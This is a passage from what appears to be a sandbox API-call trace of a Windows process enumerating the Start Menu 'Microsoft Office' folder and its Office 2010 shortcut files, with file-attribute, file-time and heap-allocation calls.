cFileName="Remote Assistance.lnk", cAlternateFileName="")) returned 1 [0092.158] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Assistance.lnk", cAlternateFileName="")) returned 0 [0092.158] GetLastError () returned 0x12 [0092.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.159] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.159] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824ddfa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x824ddfa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Center.lnk", cAlternateFileName="")) returned 1 [0092.159] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0092.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.160] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0092.160] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.160] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.160] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.161] NtClose (Handle=0x178) returned 0x0 [0092.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.162] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0092.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780122b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Access 2010.lnk", cAlternateFileName="")) returned 1 [0092.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8838 [0092.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136d0c8 [0092.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Excel 2010.lnk", cAlternateFileName="")) returned 1 [0092.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8858 [0092.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136d1d0 [0092.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft InfoPath Designer 2010.lnk", cAlternateFileName="")) returned 1 [0092.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8878 [0092.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136d2d8 [0092.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.170] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft InfoPath Filler 2010.lnk", cAlternateFileName="")) returned 1 [0092.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8898 [0092.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136d3e0 [0092.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.172] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Tools", cAlternateFileName="")) returned 1 [0092.173] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneNote 2010.lnk", cAlternateFileName="")) returned 1 [0092.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f88b8 [0092.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136d4e8 [0092.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9d80) returned 0x1386570 [0092.175] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Outlook 2010.lnk", cAlternateFileName="")) returned 1 [0092.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f88d8 [0092.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136d5f0 [0092.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.177] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft PowerPoint 2010.lnk", cAlternateFileName="")) returned 1 [0092.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f88f8 [0092.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136d6f8 [0092.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.179] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project 2010.lnk", cAlternateFileName="")) returned 1 [0092.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8918 [0092.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136d800 [0092.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.181] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Publisher 2010.lnk", cAlternateFileName="")) returned 1 [0092.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8938 [0092.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136d908 [0092.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.183] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="")) returned 1 [0092.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8958 [0092.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136da10 [0092.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.185] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8735be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x87381f60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xacf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Visio 2010.lnk", cAlternateFileName="")) returned 1 [0092.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8978 [0092.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136db18 [0092.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.188] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="")) returned 1 [0092.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8998 [0092.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136dc20 [0092.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.190] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="")) returned 0 [0092.190] GetLastError () returned 0x12 [0092.190] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0092.190] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.190] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.190] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780122b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Access 2010.lnk", cAlternateFileName="")) returned 1 [0092.190] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Excel 2010.lnk", cAlternateFileName="")) returned 1 [0092.190] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft InfoPath Designer 2010.lnk", cAlternateFileName="")) returned 1 [0092.190] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft InfoPath Filler 2010.lnk", cAlternateFileName="")) returned 1 [0092.190] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, 